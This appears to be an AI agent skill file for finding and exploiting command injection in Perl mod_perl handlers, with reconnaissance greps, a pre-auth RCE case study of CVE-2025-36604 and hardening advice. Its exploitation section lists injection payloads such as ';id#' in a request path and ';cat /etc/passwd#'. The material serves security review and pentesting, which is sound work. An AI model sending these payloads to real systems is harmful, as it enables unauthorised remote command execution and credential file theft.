| name | perl-modperl-rce-hunter |
| description | Use this skill whenever analyzing Perl code for command injection vulnerabilities, especially in Apache mod_perl handlers, web applications with Perl backends, or when hunting for RCE through shell execution sinks like backticks, qx//, system(), or open() with pipes. Trigger this skill for any security review of Perl web code, pentesting Perl-based applications, or when investigating potential pre-auth RCE in mod_perl environments. |
Perl mod_perl RCE Hunter
A skill for identifying and exploiting command injection vulnerabilities in Perl code running in Apache mod_perl handlers.
When to Use This Skill
Use this skill when:
- Reviewing Perl code for security vulnerabilities
- Pentesting web applications with Perl backends
- Investigating potential RCE in mod_perl handlers
- Analyzing Apache configurations with PerlModule directives
- Hunting for command injection through shell execution sinks
- Assessing pre-authentication attack surfaces in Perl web handlers
Risky Perl Execution Primitives
These Perl constructs spawn a shell when given a single string argument:
| Primitive | Example | Risk |
|---|
| Backticks / qx// | my $out = cmd ...; | High - direct shell execution |
| system() with string | system("/bin/sh -c '...'") | High - implicit shell |
| open() with pipe | open my $fh, "cmd |" | High - shell pipe |
| IPC::Open3 with string | open3(..., "cmd") | High - shell execution |
Vulnerability Pattern Recognition
Minimal Vulnerable Shape
sub getCASURL {
...
my $exec_cmd = "...";
if ($type eq 'login') {
$exec_cmd .= $uri;
my $out = `$exec_cmd`;
}
}
Key indicators:
- Attacker-controlled input (e.g.,
$r->uri(), $r->args(), $r->header_in())
- String concatenation into command variable
- Shell execution primitive with single string argument
- Inconsistent sanitization across code branches
Reachability Considerations in mod_perl
For a vulnerability to be exploitable:
-
Handler registration: httpd.conf must route requests to the Perl module
PerlModule MOD_SEC_EMC::AccessHandler
<Location /ui/>
PerlHandler MOD_SEC_EMC::AccessHandler::handler
</Location>
-
Triggering the vulnerable branch: Force execution through the vulnerable code path
- Omit authentication cookies to trigger login flow
- Set specific parameters to hit conditional branches
-
Resolvable path: Request must target a URI within the configured handler scope
Exploitation Workflow
Step 1: Reconnaissance
grep -r "PerlModule\|PerlHandler" /etc/httpd/conf/
grep -A5 "PerlHandler" /etc/httpd/conf.d/*.conf
Step 2: Identify Entry Points
Look for request data flowing into command strings:
$r->uri() - request URI path
$r->args() - query string
$r->header_in("X-Custom") - custom headers
$r->path_info() - path info
Step 3: Craft Payloads
Path injection via semicolon:
GET /ui/health;id HTTP/1.1
Host: target
Connection: close
Alternative separators to try:
; - command separator
&& - AND operator
| - pipe
`backticks` - command substitution
$(...) - command substitution
%0A - encoded newline
Payload patterns for end-of-string injection:
;id#
&&/usr/bin/id#
|whoami#
;cat /etc/passwd#
Step 4: Verify Execution
Look for:
- Command output in HTTP response
- Unexpected headers
- Side effects (file creation, network connections)
- Error messages revealing command structure
Hardening Recommendations
1. Use Argument-Vector Execution
Vulnerable:
my $out = `curl $url`;
Secure:
use IPC::Open3;
my $pid = open3($in, $out, $err, 'curl', '--silent', '--', $safe_url);
Or with system:
system('/usr/bin/curl', '--silent', '--', $safe_url);
2. Consistent Sanitization Across All Branches
if ($type eq 'login') {
$exec_cmd .= $uri;
} else {
$exec_cmd .= escape($uri);
}
use URI::Escape;
$exec_cmd .= uri_escape($uri);
3. Avoid Shell Execution in Auth/Redirect Paths
Keep authentication and redirect code paths free of command execution, or ensure identical sanitization across all branches.
4. Use Allowlists for Command Components
my %allowed_commands = (
'curl' => 1,
'wget' => 1,
'ping' => 1,
);
if (exists $allowed_commands{$cmd}) {
system($cmd, @args);
}
Vulnerability Hunting Techniques
1. Patch-Diff Analysis
Compare patched vs. vulnerable versions:
diff -u vulnerable.pm patched.pm | grep -A3 -B3 "uri\|input\|request"
Look for:
- Inconsistent quoting between branches
- Added escaping in one path but not others
- Conditional logic changes around command execution
2. Grep Patterns for Shell Sinks
grep -rn "\`[^\`]*\`" *.pm
grep -rn "qx\[\|qx\(\|qx\{\|qx/" *.pm
grep -rn "open.*\|\|open.*\|" *.pm
grep -rn "system\s*\(\s*\"" *.pm
3. Build Call Graphs
Trace from sink to request entry:
- Find all shell execution sinks
- Backtrack variable assignments
- Identify request data sources (
$r->*)
- Verify pre-authentication reachability
4. Check for Branch-Specific Vulnerabilities
if ($type eq 'login') { ... }
if ($action eq 'redirect') { ... }
if ($mode eq 'debug') { ... }
Each branch may have different sanitization levels.
Real-World Case Study: CVE-2025-36604
Dell UnityVSA Pre-Auth RCE
Vulnerability chain:
MOD_SEC_EMC::AccessHandler
→ make_return_address($r)
→ getCASLoginURL(..., type="login")
→ getCASURL(..., $uri, 'login')
→ `$exec_cmd` (backticks with raw $uri)
Key lessons:
- Pre-auth vulnerabilities are highest severity
- Branch-specific sanitization is a common failure mode
- Handler scope configuration affects exploitability
- Patch diffs reveal inconsistent fixes
Quick Reference
Shell Metacharacters to Test
| Character | Purpose | Example |
|---|
; | Command separator | ;id |
&& | AND operator | &&id |
| | Pipe | |id |
` | Backticks | `id` |
$() | Command substitution | $(id) |
%0A | Newline | %0Aid |
# | Comment | ;id# |
Common mod_perl Request Methods
$r->uri() - Full URI path
$r->path() - Path component
$r->args() - Query string
$r->header_in("X") - Request header
$r->content() - POST body
$r->user() - Authenticated user
References